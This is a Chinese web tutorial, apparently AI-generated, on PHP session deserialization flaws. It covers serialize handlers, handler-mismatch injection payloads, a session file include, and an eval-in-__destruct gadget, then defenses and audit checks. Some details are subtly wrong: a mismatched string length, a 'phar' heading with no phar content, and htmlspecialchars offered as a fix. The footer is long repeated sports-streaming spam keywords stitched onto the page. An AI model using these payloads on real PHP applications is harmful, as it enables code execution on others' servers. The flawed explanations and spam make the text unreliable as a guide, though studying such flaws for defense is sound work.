本文目录导读:

我来详细解释PHP会话反序列化漏洞的原理和利用方法。
PHP会话序列化机制
PHP默认使用session.serialize_handler配置来处理会话数据的序列化/反序列化,主要有以下几种处理器:
php (默认)
user|s:6:"admin";
name|s:4:"test";
php_serialize (PHP 5.5.4+)
a:2:{s:4:"user";s:5:"admin";s:4:"name";s:4:"test";}
php_binary
\x04user\x06\x00\x00\x00admin
漏洞产生的原因
不同处理器混用导致的反序列化问题
// session_start.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
// session_use.php
ini_set('session.serialize_handler', 'php');
session_start();
// 这里读取session时会使用php处理器反序列化
漏洞利用示例
场景1:处理器不匹配
攻击payload构造:
// 利用php_serialize处理器存储恶意数据
// 当使用php处理器读取时,|会成为分隔符
// 构造的GET参数:
// session=|O:4:"User":1:{s:4:"name";s:5:"admin";}
// 存储后的session文件内容:
// session|s:44:"|O:4:"User":1:{s:4:"name";s:5:"admin";}";
// 用php处理器反序列化时:
// session => s:44:"|O:4:"User":1:{s:4:"name";s:5:"admin";}"
// 但实际反序列化从|开始,变成了对象
场景2:Session文件包含
// 当session文件包含用户可控内容时
session_start();
$_SESSION['data'] = file_get_contents('php://input');
// 攻击者可以通过POST发送序列化payload
实际攻击代码示例
利用SESSION包含
// 包含session的文件(vulnerable.php) session_start(); include $_SESSION['file']; // 可以包含恶意session文件 // 攻击步骤: // 1. 构造恶意session文件内容 // 2. 触发文件包含
phar反序列化链
class AnyClass {
public $data;
public function __destruct() {
eval($this->data);
}
}
// 构造payload
$payload = 'O:8:"AnyClass":1:{s:4:"data";s:10:"phpinfo();";}';
$_SESSION['exploit'] = $payload;
防御措施
统一session处理器
// 在整个应用中保持一致
ini_set('session.serialize_handler', 'php_serialize');
验证输入数据
session_start();
if (isset($_GET['data'])) {
// 不要直接存储用户输入到session
$_SESSION['safe_data'] = htmlspecialchars($_GET['data']);
}
使用安全配置
// php.ini配置 session.serialize_handler = php_serialize session.auto_start = Off session.use_strict_mode = On
及时更新PHP版本
# 高版本PHP修复了部分反序列化漏洞 php -v
检测方法
代码审计检查点
// 检查是否存在session处理器不一致
if (ini_get('session.serialize_handler') !== 'php_serialize') {
// 可能存在风险
}
// 检查是否直接将用户输入存储到session
if (isset($_SESSION[$_GET['key']])) {
// 危险操作
}
动态检测
// 检查当前会话处理器
echo session_module_name(); // files
echo ini_get('session.serialize_handler'); // php
PHP会话反序列化漏洞主要来源于:
- 不同处理器的不当混用
- 用户可控数据直接存储到session
- 旧版本PHP的已知漏洞
最佳实践:
- 始终使用相同的序列化处理器
- 不要信任session中的数据
- 验证和清理所有用户输入
- 保持PHP版本更新
这个漏洞在CTF中很常见,但在实际生产环境中也需要高度重视。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播